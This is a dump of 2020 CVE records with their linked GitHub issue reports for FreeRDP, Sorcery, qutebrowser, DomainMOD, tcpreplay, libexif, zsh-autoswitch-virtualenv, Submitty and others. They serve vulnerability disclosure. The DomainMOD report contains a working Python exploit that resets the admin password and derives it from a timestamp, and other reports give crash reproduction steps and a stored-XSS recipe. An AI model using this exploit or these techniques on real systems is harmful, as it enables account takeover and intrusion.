"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-wwh7-r2r8-xjpr" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2023/10/msg00008.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4379-1/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4382-1/" } ]

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[ "125" ]

125

https://github.com/FreeRDP/FreeRDP/issues/6008

[ "Exploit", "Third Party Advisory" ]

github.com

[ "FreeRDP", "FreeRDP" ]

version ``` https://github.com/FreeRDP/FreeRDP/blob/9ef1e81c559bb19d613b4da2d68908ea5d7f9259/libfreerdp/core/rdp.c#L1129 ``` vuln code if `Stream_GetRemainingLength(s) = 5` and `*length = 5`, it could one byte overflow read in `Stream_Read_UINT16(s, *channel_id);` ``` BOOL rdp_read_share_control_header(wStream* s, UINT16* length, UINT16* type, UINT16* channel_id) { if (Stream_GetRemainingLength(s) < 2) return FALSE; Stream_Read_UINT16(s, *length); /* totalLength */ if (((size_t)*length - 2) > Stream_GetRemainingLength(s)) return FALSE; Stream_Read_UINT16(s, *type); /* pduType */ *type &= 0x0F; /* type is in the 4 least significant bits */ if (*length > 4) Stream_Read_UINT16(s, *channel_id); // memory out of bounds read return TRUE; } ```

memory out of bounds read in rdp_read_share_control_header

https://api.github.com/repos/FreeRDP/FreeRDP/issues/6008/comments

0

2020-03-31T05:49:34Z

2020-04-06T12:17:12Z

https://github.com/FreeRDP/FreeRDP/issues/6008

590,815,387

6,008

1,202

CVE-2020-11052

2020-05-07T21:15:11.483

In Sorcery before 0.15.0, there is a brute force vulnerability when using password authentication via Sorcery. The brute force protection submodule will prevent a brute force attack for the defined lockout period, but once expired, protection will not be re-enabled until a user or malicious actor logs in successfully. This does not affect users that do not use the built-in brute force protection submodule, nor users that use permanent account lockout. This has been patched in 0.15.0.

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[ "307" ]

307

https://github.com/Sorcery/sorcery/issues/231

[ "Third Party Advisory" ]

github.com

[ "Sorcery", "sorcery" ]

Sorcery 0.14.0 is vulnerable to brute force attacks even if a login_lock_time_period is configured. If an attacker continues their login attempts after the initial login_lock_time_period has passed, Sorcery no longer rejects those login attempts until eventually the attacker has guessed the right password. This is caused by an early return in model/submodules/brute_force_protection.rb:68 which skips the update of the `lock_expires_at` field. So failed attempts don't update `lock_expires_at` as long as `lock_expires_at` contains any date, even if already passed. I'll provide a fix.

brute force vulnerability

https://api.github.com/repos/Sorcery/sorcery/issues/231/comments

4

2020-04-30T15:06:10Z

2020-05-02T22:01:48Z

https://github.com/Sorcery/sorcery/issues/231

610,116,215

231

1,203

CVE-2020-11054

2020-05-07T21:15:11.590

In qutebrowser versions less than 1.11.1, reloading a page with certificate errors shows a green URL. After a certificate error was overridden by the user, qutebrowser displays the URL as yellow (colors.statusbar.url.warn.fg). However, when the affected website was subsequently loaded again, the URL was mistakenly displayed as green (colors.statusbar.url.success_https). While the user already has seen a certificate error prompt at this point (or set content.ssl_strict to false, which is not recommended), this could still provide a false sense of security. This has been fixed in 1.11.1 and 1.12.0. All versions of qutebrowser are believed to be affected, though versions before v0.11.x couldn't be tested. Backported patches for older versions (greater than or equal to 1.4.0 and less than or equal to 1.10.2) are available, but no further releases are planned.

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[ { "source": "security-advisories@github.com", "tags": [ "Issue Tracking", "Patch", "Third Party Advisory" ], "url": "https://bugs.kde.org/show_bug.cgi?id=420902" }, { "source": "security-advisories@github.com", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/qutebrowser/qutebrowser/commit/021ab572a319ca3db5907a33a59774f502b3b975" }, { "source": "security-advisories@github.com", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/qutebrowser/qutebrowser/commit/19f01bb42d02da539446a52a25bb0c1232b86327" }, { "source": "security-advisories@github.com", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/qutebrowser/qutebrowser/commit/1b7946ed14b386a24db050f2d6dba81ba6518755" }, { "source": "security-advisories@github.com", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/qutebrowser/qutebrowser/commit/2281a205c3e70ec20f35ec8fafecee0d5c4f3478" }, { "source": "security-advisories@github.com", "tags": [ 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[ "684" ]

684

https://github.com/qutebrowser/qutebrowser/issues/5403

[ "Issue Tracking", "Third Party Advisory" ]

github.com

[ "qutebrowser", "qutebrowser" ]

While working on 46b4d26a9ca1aba24a00ccd004606c8e3a6b17d4 I noticed that only the first load of pages with certificate errors gets a correctly colored URL. When loading a page with the default `content.ssl_strict = ask` setting, there's a prompt to confirm the certificate issue: ![image](https://user-images.githubusercontent.com/625793/80866425-de3ce980-8c8e-11ea-9ee6-2e1a5cf51695.png) When answering that with "yes", the URL is then colored yellow (`colors.statusbar.url.warn.fg`) rather than green (`colors.statusbar.url.success_https.fg`): ![image](https://user-images.githubusercontent.com/625793/80866447-fca2e500-8c8e-11ea-959d-840a030f47ac.png) However, when reloading the page (or loading it again in another tab), the URL is green: ![image](https://user-images.githubusercontent.com/625793/80866461-0debf180-8c8f-11ea-818b-d21813449c45.png) This is because QtWebEngine remembers the answer internally and we don't get a `certificateErrors` signal anymore - unfortunately there's also no API to check the certificate state of the current page... I'm handling this as a low-severity security vulnerability and will request a CVE. There's no way for bad actors to exploit this and the user already did override the certificate error (so should be aware that the connection is not to be trusted), but it still lures users into a false sense of security. A fix, release and security announcement is in progress.

Security: Reloading page with certificate errors falsely shows a green URL (CVE-2020-11054)

https://api.github.com/repos/qutebrowser/qutebrowser/issues/5403/comments

9

2020-05-02T14:11:19Z

2020-05-07T15:44:59Z

https://github.com/qutebrowser/qutebrowser/issues/5403

611,198,849

5,403

1,204

CVE-2020-12735

2020-05-08T05:15:11.717

reset.php in DomainMOD 4.13.0 uses insufficient entropy for password reset requests, leading to account takeover.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/domainmod/domainmod/issues/122" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/domainmod/domainmod/issues/122" } ]

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[ "331" ]

331

https://github.com/domainmod/domainmod/issues/122

[ "Exploit", "Third Party Advisory" ]

github.com

[ "domainmod", "domainmod" ]

**Summary**: reset.php handles “resetting”/changing an existing user’s password. The reset functionality uses PHP’s time() to derive the new password for the user that is attempting to change their password. This method of using time() to create a temporary password is very deterministic and allows an attacker to invoke the reset password functionality and reliably determine what the new password is, thus allowing for an account takeover. **File Affected**: reset.php **Vulnerability Details:** 1. Below is an overview of the logic used by reset.php to change a user’s password. ![overall_logic](https://user-images.githubusercontent.com/5360970/80855671-1f8eb400-8c11-11ea-862a-c27e9910b4b5.PNG) 2. In red is the SQL statement is used to determine the existence of a user. <br/><br/> `SELECT first_name, last_name, username, email_address FROM users WHERE (username = :username OR email_address = :email_address) AND active = '1'`<br/></br>A user’s password is changed only if the above statement returns a non-empty result set. As we can see, the above SQL statement results in a row being returned if either the username or the email address exists in the database. Hence, an attacker will able to invoke a change of password (in green) as long the attacker knows a valid username. 3. Once, the user’s username (email ID) is validated, the application proceeds to change the password of the user (in green). A new/temporary password is created for the user by using the first 8 characters of the MD5 hash of the current Unix timestamp.<br/><br/>`$new_password = substr(md5(time()), 0, 8);`<br/><br/>An SQL statement is then used to update the user with the new password. 4. The problem with the aforementioned logic is that It is very easy for an attacker to determine the new password as the result of the time() is very deterministic and not random. Hence, this vulnerability can be exploited to change the password of a user and then reliably determine the new password. The credentials can then be used to login to the application. <br/><br/>As, admin is a default user on the application, this vulnerability can be used to change the admin password and consequently login to the application as the said admin user. **Exploit:** The following python script can be used to reset/change a user’s password and subsequently determine the new password. ``` import time import math import requests import hashlib RESET_URL = "http://SERVER_IP/path_to_domainmod_application/reset.php?user_identifier={}" def reset_password(username='admin'): seed_1 = str(math.floor(time.time())).encode('ascii') r = requests.get(RESET_URL.format(username)) # Time is measured immediately after issuing the rest request just to handle edge cases of the # timestamp changing in between the first-time measure and the reset request seed_2 = str(math.floor(time.time())).encode('ascii') password_1 = hashlib.md5(seed_1).hexdigest() password_2 = hashlib.md5(seed_2).hexdigest() print(password_1[:8]) print(password_2[:8]) reset_password() ``` 1. Successful login using **admin:Hacker!234** ![original_valid_login](https://user-images.githubusercontent.com/5360970/80855683-36cda180-8c11-11ea-8a2e-2ba48421552b.PNG) 2. Resetting the password using the above exploit code 3. Unsuccessful login using **admin:Hacker!234** ![incorrect_login](https://user-images.githubusercontent.com/5360970/80855684-3f25dc80-8c11-11ea-89e5-e20f7e538b0c.PNG) 4. Successful login using newly obtained credentials **admin:e65edd7b** ![new_valid_login](https://user-images.githubusercontent.com/5360970/80855688-46e58100-8c11-11ea-870b-22172be7fd46.PNG) **Mitigation:** One suggestion is to use a cryptographically secure random number as the seed to the md5() instead of time(). `$new_password = substr(md5(random_int(0, time())), 0, 8);`

Authentication Bypass via reset.php

https://api.github.com/repos/domainmod/domainmod/issues/122/comments

1

2020-05-02T05:10:09Z

2020-05-03T05:23:17Z

https://github.com/domainmod/domainmod/issues/122

611,109,561

122

1,205

CVE-2020-12740

2020-05-08T18:15:10.457

tcprewrite in Tcpreplay through 4.3.2 has a heap-based buffer over-read during a get_c operation. The issue is being triggered in the function get_ipv6_next() at common/get.c.

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[ "125" ]

125

https://github.com/appneta/tcpreplay/issues/576

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "appneta", "tcpreplay" ]

**Describe the bug** A heap-based buffer overflow was discovered in tcprewrite binary, during the get_c operation. The issue is being triggered in the function get_ipv6_next() at common/get.c. **To Reproduce** Steps to reproduce the behavior: 1. Compile tcpreplay according to the default configuration 2. execute command ```bash tcprewrite -i $poc -o /dev/null --fuzz-seed=42 ``` [poc](https://github.com/14isnot40/vul_discovery/tree/master/tcpreplay/get_ipv6_next/poc) can be found here. **Expected behavior** An attacker can exploit this vulnerability by submitting a malicious pcap that exploits this issue. This will result in a Denial of Service (DoS) and potentially Information Exposure when the application attempts to process the file. **Screenshots** ASAN Reports ```bash /usr/local/bin/tcprewrite -i id\:000000\,sig\:11\,src\:000280\,op\:fa-havoc\,rep\:2 -o /dev/null --fuzz-seed=42 ================================================================= ==34195==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x63100001080e at pc 0x00000042bd74 bp 0x7ffd8b9eada0 sp 0x7ffd8b9ead90 READ of size 4 at 0x63100001080e thread T0 #0 0x42bd73 in get_ipv6_next /home/test/Desktop/evaulation/tcpreplay/src/common/get.c:454 #1 0x42bfcc in get_ipv6_l4proto /home/test/Desktop/evaulation/tcpreplay/src/common/get.c:540 #2 0x42bfb9 in get_ipv6_l4proto /home/test/Desktop/evaulation/tcpreplay/src/common/get.c:531 #3 0x4134c2 in do_checksum /home/test/Desktop/evaulation/tcpreplay/src/tcpedit/checksum.c:63 #4 0x40b383 in fix_ipv4_checksums /home/test/Desktop/evaulation/tcpreplay/src/tcpedit/edit_packet.c:74 #5 0x4079c2 in tcpedit_packet /home/test/Desktop/evaulation/tcpreplay/src/tcpedit/tcpedit.c:354 #6 0x40569b in rewrite_packets /home/test/Desktop/evaulation/tcpreplay/src/tcprewrite.c:291 #7 0x404e13 in main /home/test/Desktop/evaulation/tcpreplay/src/tcprewrite.c:130 #8 0x7f9fd6a0e82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #9 0x402688 in _start (/usr/local/bin/tcprewrite+0x402688) 0x63100001080e is located 1 bytes to the right of 65549-byte region [0x631000000800,0x63100001080d) allocated by thread T0 here: #0 0x7f9fd72b2602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) #1 0x42c8e9 in _our_safe_malloc /home/test/Desktop/evaulation/tcpreplay/src/common/utils.c:50 #2 0x40551e in rewrite_packets /home/test/Desktop/evaulation/tcpreplay/src/tcprewrite.c:249 #3 0x404e13 in main /home/test/Desktop/evaulation/tcpreplay/src/tcprewrite.c:130 #4 0x7f9fd6a0e82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/test/Desktop/evaulation/tcpreplay/src/common/get.c:454 get_ipv6_next Shadow bytes around the buggy address: 0x0c627fffa0b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c627fffa0c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c627fffa0d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c627fffa0e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c627fffa0f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c627fffa100: 00[05]fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffa110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffa120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffa130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffa140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffa150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==34195==ABORTING ``` Debug ```bash Program received signal SIGSEGV, Segmentation fault. 0x0000000000410025 in get_ipv6_next (exthdr=0x663ff6, len=0x8) at get.c:454 454 maxlen = *((int*)((u_char *)exthdr + len)); [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0000000000663ff6 → 0x0000000000000000 $rbx : 0x0 $rcx : 0x10080a0000000001 $rdx : 0x1 $rsp : 0x00007fffffffd8a8 → 0x0000000000410207 → <get_ipv6_l4proto+87> test rax, rax $rbp : 0x8 $rsi : 0x8 $rdi : 0x0000000000663ff6 → 0x0000000000000000 $rip : 0x0000000000410025 → <get_ipv6_next+37> mov esi, DWORD PTR [rdi+rsi*1] $r8 : 0xe $r9 : 0x34 $r10 : 0x8 $r11 : 0x1 $r12 : 0x1008080000000001 $r13 : 0x1 $r14 : 0x20000000000 $r15 : 0x1 $eflags: [CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffd8a8│+0x0000: 0x0000000000410207 → <get_ipv6_l4proto+87> test rax, rax ← $rsp 0x00007fffffffd8b0│+0x0008: 0x0000000000633c4e → 0x29294fab8000a062 ("b"?) 0x00007fffffffd8b8│+0x0010: 0x0000000000631550 → 0x0000000000000001 0x00007fffffffd8c0│+0x0018: 0x0000000000631550 → 0x0000000000000001 0x00007fffffffd8c8│+0x0020: 0x000000000000000e 0x00007fffffffd8d0│+0x0028: 0x0000000000631550 → 0x0000000000000001 0x00007fffffffd8d8│+0x0030: 0x0000000000406d56 → <do_checksum+438> mov ecx, DWORD PTR [rsp+0xc] 0x00007fffffffd8e0│+0x0038: 0x0000000000631e10 → 0x0000000000631550 → 0x0000000000000001 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x410014 <get_ipv6_next+20> add BYTE PTR [rax+0x63], cl 0x410017 <get_ipv6_next+23> test BYTE PTR [rax-0x2d], 0xe2 0x41001b <get_ipv6_next+27> movabs rcx, 0x10080a0000000001 → 0x410025 <get_ipv6_next+37> mov esi, DWORD PTR [rdi+rsi*1] 0x410028 <get_ipv6_next+40> test rdx, rcx 0x41002b <get_ipv6_next+43> jne 0x410050 <get_ipv6_next+80> 0x41002d <get_ipv6_next+45> movabs rcx, 0x804000000000000 0x410037 <get_ipv6_next+55> and rcx, rdx 0x41003a <get_ipv6_next+58> jne 0x410080 <get_ipv6_next+128> ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:get.c+454 ──── 449 int extlen = 0; 450 int maxlen; 451 void *ptr; 452 assert(exthdr); 453 → 454 maxlen = *((int*)((u_char *)exthdr + len)); 455 456 dbgx(3, "Jumping to next IPv6 header. Processing 0x%02x", exthdr->ip_nh); 457 switch (exthdr->ip_nh) { 458 /* no further processing */ 459 case TCPR_IPV6_NH_NO_NEXT: ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "tcprewrite", stopped, reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x410025 → get_ipv6_next(exthdr=0x663ff6, len=0x8) [#1] 0x410207 → get_ipv6_l4proto(ip6_hdr=0x633c4e, len=<optimized out>) [#2] 0x406d56 → do_checksum(tcpedit=0x631550, data=0x633c4e "b\240", proto=0x0, len=0x80) [#3] 0x404988 → fix_ipv4_checksums(tcpedit=0x631550, pkthdr=<optimized out>, ip_hdr=0x633c4e) [#4] 0x403407 → tcpedit_packet(tcpedit=0x631550, pkthdr=0x7fffffffd9b8, pktdata=0x61fc78 <pktdata_buff>, direction=TCPR_DIR_C2S) [#5] 0x402d06 → rewrite_packets(tcpedit=0x631550, pin=0x621290, pout=0x632a00) [#6] 0x402151 → main(argc=<optimized out>, argv=<optimized out>) ``` **System (please complete the following information):** - OS version : Ubuntu 16.04 - Tcpreplay Version : 4.3.2/master branch

Heap overflow in get_ipv6_next()

https://api.github.com/repos/appneta/tcpreplay/issues/576/comments

4

2020-05-08T15:35:39Z

2020-06-02T00:41:03Z

https://github.com/appneta/tcpreplay/issues/576

614,818,164

576

1,206

CVE-2020-12767

2020-05-09T21:15:11.007

exif_entry_get_value in exif-entry.c in libexif 0.6.21 has a divide-by-zero error.

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[ "369" ]

369

https://github.com/libexif/libexif/issues/31

[ "Patch", "Third Party Advisory" ]

github.com

[ "libexif", "libexif" ]

The problem of dividing by zero was found during the OSS Fuzz project test. Project: libexif Fuzzer: libFuzzer_libexif_exif_loader_fuzzer Fuzz target binary: exif_loader_fuzzer Platform Id: linux Type of test：undefined Command: ` python infra/helper.py build_fuzzers --sanitizer undefined libexif ` `python infra/helper.py run_fuzzer libexif exif_loader_fuzzer -max_total_time=300 -timeout=180` Results of execution： ` exif-entry.c:1057:43: runtime error: division by zero ` `#0 0x4bd2c0 in exif_entry_get_value /src/libexif/libexif/exif-entry.c:1087:43 ` `#1 0x4b3c7b in content_func(_ExifEntry*, void*) /src/exif_loader_fuzzer.cc:8:3 ` `#2 0x4b4979 in exif_content_foreach_entry /src/libexif/libexif/ecif-content` The reason for this problem is that the division was performed without judging whether the divisor is zero.The pull request as follows [ pull request : division by zero https://github.com/libexif/libexif/pull/32/commits/4431cd0d67c2b17bf764fa9c253f11051ae8355a](https://github.com/libexif/libexif/pull/32/commits/4431cd0d67c2b17bf764fa9c253f11051ae8355a)

division by zero in libexif/exif-entry.c

https://api.github.com/repos/libexif/libexif/issues/31/comments

6

2020-02-18T01:59:09Z

2020-06-05T05:47:40Z

https://github.com/libexif/libexif/issues/31

566,598,341

31

1,208

CVE-2020-11058

2020-05-12T21:15:11.383

In FreeRDP after 1.1 and before 2.0.0, a stream out-of-bounds seek in rdp_read_font_capability_set could lead to a later out-of-bounds read. As a result, a manipulated client or server might force a disconnect due to an invalid data read. This has been fixed in 2.0.0.

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[ "125" ]

125

https://github.com/FreeRDP/FreeRDP/issues/6011

[ "Third Party Advisory" ]

github.com

[ "FreeRDP", "FreeRDP" ]

version ``` https://github.com/FreeRDP/FreeRDP/blob/9ef1e81c559bb19d613b4da2d68908ea5d7f9259/libfreerdp/core/capabilities.c#L1398 ``` vuln code `rdp_read_capability_sets` first read 2 byte to length, then check `Stream_GetRemainingLength(s) + 4 < length` assume `Stream_GetRemainingLength(s)=1` and `length=5`, then the program will pass the check and continue execution ``` static BOOL rdp_read_capability_sets(wStream* s, rdpSettings* settings, UINT16 numberCapabilities, UINT16 totalLength) { // read length from s rdp_read_capability_set_header(s, &length, &type); if (Stream_GetRemainingLength(s) + 4 < ((size_t)length)) { WLog_ERR(TAG, "error processing stream"); return FALSE; } ``` we could control `type=CAPSET_TYPE_FONT`, then it could enter `rdp_read_font_capability_set` ``` case CAPSET_TYPE_FONT: if (!rdp_read_font_capability_set(s, length, settings)) return FALSE; break; ``` `rdp_read_font_capability_set` could call `Stream_Seek_UINT16(s)`, because `length=5` But currently `Stream_GetRemainingLength(s)=1` ``` static BOOL rdp_read_font_capability_set(wStream* s, UINT16 length, rdpSettings* settings) { if (length > 4) Stream_Seek_UINT16(s); /* fontSupportFlags (2 bytes) */ if (length > 6) Stream_Seek_UINT16(s); /* pad2Octets (2 bytes) */ return TRUE; } ``` After `Stream_Seek_UINT16` done, it could `lead _s->pointer - _s->buffer > _s->length` Then the check in other functions could fail, and could lead out of bounds read later.

stream out of bounds seek in rdp_read_font_capability_set could lead out of bounds read later

https://api.github.com/repos/FreeRDP/FreeRDP/issues/6011/comments

0

2020-03-31T10:46:15Z

2020-04-06T11:53:34Z

https://github.com/FreeRDP/FreeRDP/issues/6011

590,998,060

6,011

1,209

CVE-2020-11073

2020-05-13T19:15:11.863

In Autoswitch Python Virtualenv before version 0.16.0, a user who enters a directory with a malicious `.venv` file could run arbitrary code without any user interaction. This is fixed in version: 1.16.0

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[ { "source": "security-advisories@github.com", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/MichaelAquilina/zsh-autoswitch-virtualenv/commit/30c77db7c83eca2bc5f6134fccbdc117b49a6a05" }, { "source": "security-advisories@github.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/MichaelAquilina/zsh-autoswitch-virtualenv/issues/122" }, { "source": "security-advisories@github.com", "tags": [ "Third Party Advisory" ], "url": "https://github.com/MichaelAquilina/zsh-autoswitch-virtualenv/pull/123" }, { "source": "security-advisories@github.com", "tags": [ "Third Party Advisory" ], "url": "https://github.com/MichaelAquilina/zsh-autoswitch-virtualenv/security/advisories/GHSA-h8wm-cqq6-957q" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/MichaelAquilina/zsh-autoswitch-virtualenv/commit/30c77db7c83eca2bc5f6134fccbdc117b49a6a05" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/MichaelAquilina/zsh-autoswitch-virtualenv/issues/122" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/MichaelAquilina/zsh-autoswitch-virtualenv/pull/123" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/MichaelAquilina/zsh-autoswitch-virtualenv/security/advisories/GHSA-h8wm-cqq6-957q" } ]

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[ "22" ]

22

https://github.com/MichaelAquilina/zsh-autoswitch-virtualenv/issues/122

[ "Exploit", "Third Party Advisory" ]

github.com

[ "MichaelAquilina", "zsh-autoswitch-virtualenv" ]

```bash git clone https://github.com/saleemrashid/evil-zsh-autoswitch-virtualenv.git cd evil-zsh-autoswitch-virtualenv cat evil.txt ``` The script `evil_virtualenv/bin/activate` will be sourced **without any user interaction**, which will: 1. Erase the "Switching virtualenv" message from the terminal (so the user isn't even aware that anything has happened) 2. Write the output of `id; ls ~` to a file called `evil.txt`. Obviously this would be more malicious in practice

Malicious scripts in untrusted directories are executed

https://api.github.com/repos/MichaelAquilina/zsh-autoswitch-virtualenv/issues/122/comments

8

2020-01-07T11:00:15Z

2020-01-07T21:15:15Z

https://github.com/MichaelAquilina/zsh-autoswitch-virtualenv/issues/122

546,219,667

122

1,210

CVE-2020-12882

2020-05-15T05:15:13.397

Submitty through 20.04.01 allows XSS via upload of an SVG document, as demonstrated by an attack by a Student against a Teaching Fellow.

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[ { "source": "cve@mitre.org", "tags": null, "url": "http://packetstormsecurity.com/files/157756/Submitty-20.04.01-Cross-Site-Scripting.html" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/Submitty/Submitty/issues/5266" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": null, "url": "http://packetstormsecurity.com/files/157756/Submitty-20.04.01-Cross-Site-Scripting.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/Submitty/Submitty/issues/5266" } ]

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[ "79" ]

79

https://github.com/Submitty/Submitty/issues/5266

[ "Third Party Advisory" ]

github.com

[ "Submitty", "Submitty" ]

**Describe the bug** _This vulnerability can potentially enable any student to takeover the account of TA if they open the attachment as the cookie gets exposed._ A student logged in via username/password student:student has the ability to submit submissions for grading. This can be then viewed by TA from their account via ta:ta . When they click on the file for grading, stored xss gets triggered. **Expected behavior** .svg files must be stopped from getting uploaded by any student during submissions. **To Reproduce** Steps to reproduce the behavior: 1. As student login, via student:student 2. Go here http://localhost:1501/s20/tutorial/gradeable/01_simple_python (as ex.) 3. In the new submission upload the .svg file. The svg file can be created by saving as .svg Github doesn't allow attaching svg and neither its code so here is the [link](http://ghostlulz.com/xss-svg/) to create a sample malicious svg file. 4. Login as ta and open the same for grading. The XSS gets triggered alerting the cookies. **Screenshots** <img width="1339" alt="Screenshot 2020-04-20 at 12 42 44 AM" src="https://user-images.githubusercontent.com/30574278/79697574-2d534980-82a1-11ea-967b-0c5bad657dce.png"> <img width="1305" alt="Screenshot 2020-04-20 at 12 45 02 AM" src="https://user-images.githubusercontent.com/30574278/79697576-32b09400-82a1-11ea-8883-6f4606da2ed5.png"> **Additional context** We may try to block .svg files from uploading and also try to drop the Content-Type: image/svg+xml. Adding content-disposition: attachment as mentioned [here](https://svg.digi.ninja/svg) may help for the mitigation.

[Security bug] Stored XSS Trigger for TA by user account

https://api.github.com/repos/Submitty/Submitty/issues/5266/comments

3

2020-04-19T19:46:42Z

2021-06-23T02:49:36Z

https://github.com/Submitty/Submitty/issues/5266

602,803,937

5,266

1,211

CVE-2020-12872

2020-05-15T19:15:12.087

yaws_config.erl in Yaws through 2.0.2 and/or 2.0.7 loads obsolete TLS ciphers, as demonstrated by ones that allow Sweet32 attacks, if running on an Erlang/OTP virtual machine with a version less than 21.0.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/erlyaws/yaws/blob/c0fd79f17d52628fcec527da7fa3e788c283c445/src/yaws_config.erl#L2068-L2075" }, { "source": "cve@mitre.org", "tags": [ "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/erlyaws/yaws/issues/402" }, { "source": "cve@mitre.org", "tags": [ "Release Notes", "Third Party Advisory" ], "url": "https://github.com/erlyaws/yaws/releases" }, { "source": "cve@mitre.org", "tags": null, "url": "https://medium.com/%40charlielabs101/cve-2020-12872-df315411aa70" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://sweet32.info/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/erlyaws/yaws/blob/c0fd79f17d52628fcec527da7fa3e788c283c445/src/yaws_config.erl#L2068-L2075" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/erlyaws/yaws/issues/402" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Release Notes", "Third Party Advisory" ], "url": "https://github.com/erlyaws/yaws/releases" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": null, "url": "https://medium.com/%40charlielabs101/cve-2020-12872-df315411aa70" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://sweet32.info/" } ]

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[ "326" ]

326

https://github.com/erlyaws/yaws/issues/402

[ "Issue Tracking", "Third Party Advisory" ]

github.com

[ "erlyaws", "yaws" ]

While going trough some CVE feeds and track the information noticed the [CVE-2020-12872](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12872) assignment for yaws, which is from the following [report](https://medium.com/@charlielabs101/cve-2020-12872-df315411aa70) Were you informed about this?

CVE-2020-12872

https://api.github.com/repos/erlyaws/yaws/issues/402/comments

2

2020-05-24T13:03:23Z

2020-09-04T12:42:11Z

https://github.com/erlyaws/yaws/issues/402

623,860,560

402

1,212

CVE-2020-13118

2020-05-16T20:15:11.890

An issue was discovered in Mikrotik-Router-Monitoring-System through 2018-10-22. SQL Injection exists in check_community.php via the parameter community.

